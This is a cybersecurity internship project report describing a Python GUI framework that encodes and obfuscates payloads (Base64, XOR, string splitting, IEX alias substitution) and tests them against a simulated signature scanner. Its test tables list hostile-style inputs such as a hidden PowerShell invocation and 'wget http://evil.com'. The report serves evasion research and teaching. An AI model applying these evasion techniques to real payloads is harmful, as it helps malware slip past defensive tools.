

PROJECT REPORT

Title: Custom Payload Encoder & Obfuscation Framework (CPEOF)

Developed By: GuntaSubham **Context:** Cyber Security Internship Project

1. Project Overview

This project focuses on designing a practical payload encoding and obfuscation framework used to study how offensive payloads are transformed to evade detection. Security tools such as antivirus, EDR, IPS, and firewalls often rely on signature-based detection, making unmodified payloads easy to identify. This framework allows for the controlled and ethical encoding and obfuscation of test payloads in a lab environment to understand evasion techniques.

2. Motivation

Adversaries frequently modify their payloads to avoid detection. Understanding these methods is crucial for:

- **Red Team Operations:** Developing offensive workflows that simulate sophisticated threats.
- **Blue Team Defense:** Improving defensive rules and understanding signature limitations.
- **Malware Analysis Education:** Learning how attackers hide malicious content.

3. Project Objectives

The primary objectives of this project were to:

1. Build a payload encoder supporting Base64, XOR, and ROT13 encoding.
2. Implement multiple string obfuscation techniques to alter payload signatures.
3. Simulate evasion testing using pattern-matching detection logic.
4. Generate a structured report comparing original versus obfuscated payloads.

4. Scope of the Project

The framework consists of four main modules:

- A. Encoding Module: Implements standard encoding schemes including Base64, ROT13, and XOR encryption with a user-defined key .
- B. String Obfuscation Module: Implements techniques such as random character insertion, string splitting, reversible string reversal, and hex escape sequences .

- C. Evasion Testing Module: Simulates an antivirus engine by scanning payloads against a database of known threat signatures (e.g., YARA rules) .
- D. Reporting Engine: Automatically generates a text-based report (evasion_report.txt) documenting the techniques used and the detection results .

5. Tools & Technologies Used

- **Programming Language:** Python 3.x
- **GUI Framework:** Tkinter (Standard Python Interface)
- **Libraries:** base64, random, re (Regex), codecs, itertools .
- **Executable Builder:** PyInstaller (for converting .py to .exe).
- **Analysis Tools:** PE/ELF String Extraction logic.

6. Methodology & Architecture

The application follows a modular architecture:

1. **Input:** The user provides a raw payload (e.g., a PowerShell script or shellcode) .
2. **Transformation:** The user selects a technique (Encoding or Obfuscation) via the Dashboard GUI .
3. **Processing:** The selected module processes the string.
 - *Encoder:* Shifts bits or replaces characters.
 - *Obfuscator:* Breaks string patterns to disrupt signatures.
4. **Evasion Check:** The internal EvasionTester scans the new payload. If keywords like "powershell" or "exec" are hidden, it is marked as "Bypassed" .
5. **Output:** The tool displays the transformed payload and saves the results to a log file .

7. Implementation Details

The project is built as a desktop application with a user-friendly Graphical User Interface (GUI).

- **Dashboard:** Provides a central hub for navigation and displays system status.
- **Encoder Tab:** Handles reversible operations. Features a dual-mode (Encode/Decode) interface.
- **Obfuscator Tab:** Handles one-way transformations designed strictly for evasion (Splitting, Polymorphism).

- **Binary Analysis Tab:** A dedicated suite for analyzing external files. It includes a **String Extractor** to pull readable text from binaries and a **YARA Scanner** to detect malicious patterns using Regex.

8. Results and Output

The framework successfully demonstrates the effectiveness of obfuscation:

- **Original Payloads:** Consistently flagged as "DETECTED" by the internal simulator due to visible keywords.
- **Encoded/Obfuscated Payloads:** Consistently achieved a "BYPASSED" status, proving that altering the file signature prevents static analysis tools from recognizing the threat .

9. Learning Outcomes

Through this project, the following insights were gained:

- How payloads are manipulated at the string and byte level to evade detection.
- The limitations of static signature-based detection systems.
- How Red Teams utilize obfuscation to simulate advanced persistent threats (APTs).
- The importance of layered security and heuristic analysis for Blue Teams.

10. Conclusion

The **Custom Payload Encoder & Obfuscation Framework (CPEOF)** serves as a robust educational tool. It effectively simplifies complex evasion concepts, allowing for practical experimentation with encoding, encryption, and obfuscation. By automating the testing and reporting process, it provides valuable insights into the mechanics of malware evasion and defense.

```
Payload_Framework/
|
└── main_gui.py          # The new GUI Entry Point (Run this file)
|
└── modules/
    ├── __init__.py      # Makes this folder a Python package
    ├── encoder.py        # Handles Base64, ROT13, XOR logic
    ├── obfuscator.py     # Handles Splitting, Substitution, Polymorphism
    ├── evasion_test.py   # YARA Simulator & Payload Scanner
    └── extractor.py      # Strings Extraction Logic
|
└── payloads/           # Folder to store your raw scripts
    └── raw_payload.txt
|
└── dist/                # Created automatically by PyInstaller
    └── PayloadFramework.exe # Your final shareable application
|
└── evasion_report.txt   # Auto-generated report file (Saved by GUI)
```

Testing & Validation

To ensure the framework functions correctly and meets the project objectives, a series of comprehensive test cases were executed. These tests validate the core functionality of the Encoding, Obfuscation, Evasion, and Analysis modules.

Functional Test Cases

Test ID	Test Scenario	Input Data	Expected Output	Status
TC-01	Base64 Encoding	alert(1)	YWxlcnQoMSk=	PASS
TC-02	Base64 Decoding	YWxlcnQoMSk=	alert(1) (Original String restored)	PASS
TC-03	ROT13 Transformation	admin	nqzva (Shifted by 13 chars)	PASS
TC-04	XOR Encryption	Payload: test Key: 123	Encrypted string (non-readable characters)	PASS
TC-05	String Splitting	cmd.exe	"c"+"m"+"d"+"."+"e"+"x"+"e"	PASS
TC-06	Hex Escape Sequence	ABC	\x41\x42\x43	PASS
TC-07	Reversible Reverse	malware	erawlam	PASS
TC-08	Polymorphic Junk	whoami	Output contains random comments/variables + whoami	PASS
TC-09	Command Substitution	Invoke-Expression	Output replaced with alias IEX	PASS

Evasion & Security Test Cases

Test ID	Test Scenario	Input Data	Expected Result	Actual Result
SEC-01	Static Detection (Positive)	powershell.exe -nop -w hidden	DETECTED	DETECTED

Test ID	Test Scenario	Input Data	Expected Result	Actual Result
			(Matches "Suspicious_Shell" rule)	
SEC-02	Obfuscation Bypass	Same input, treated with String Splitting	BYPASSED (Signature broken, no match found)	BYPASSED
SEC-03	YARA Rule Scan (File)	File containing: wget http://evil.com	DETECTED (Matches "Network_Tool" rule)	DETECTED
SEC-04	Clean File Scan	File containing: print("Hello World")	CLEAN (No YARA rules matched)	CLEAN
SEC-05	String Extraction	Binary file (test.exe)	List of readable strings displayed in Output Panel	SUCCESS

Validation Summary

- **Encoding Module:** Successfully transformed payloads into reversible formats. XOR encryption correctly utilized the user-provided key.
- **Obfuscation Module:** All techniques (Splitting, Reversing, Hex, Polymorphism) successfully altered the string signature, rendering the original payload unreadable to static analysis.
- **Evasion Simulator:** The internal detection engine correctly flagged known keywords (e.g., powershell, cmd.exe) in raw payloads but failed to detect them after obfuscation, validating the effectiveness of the techniques.
- **Reporting:** The application successfully generated evasion_report.txt with accurate timestamps and detection logs for every test run

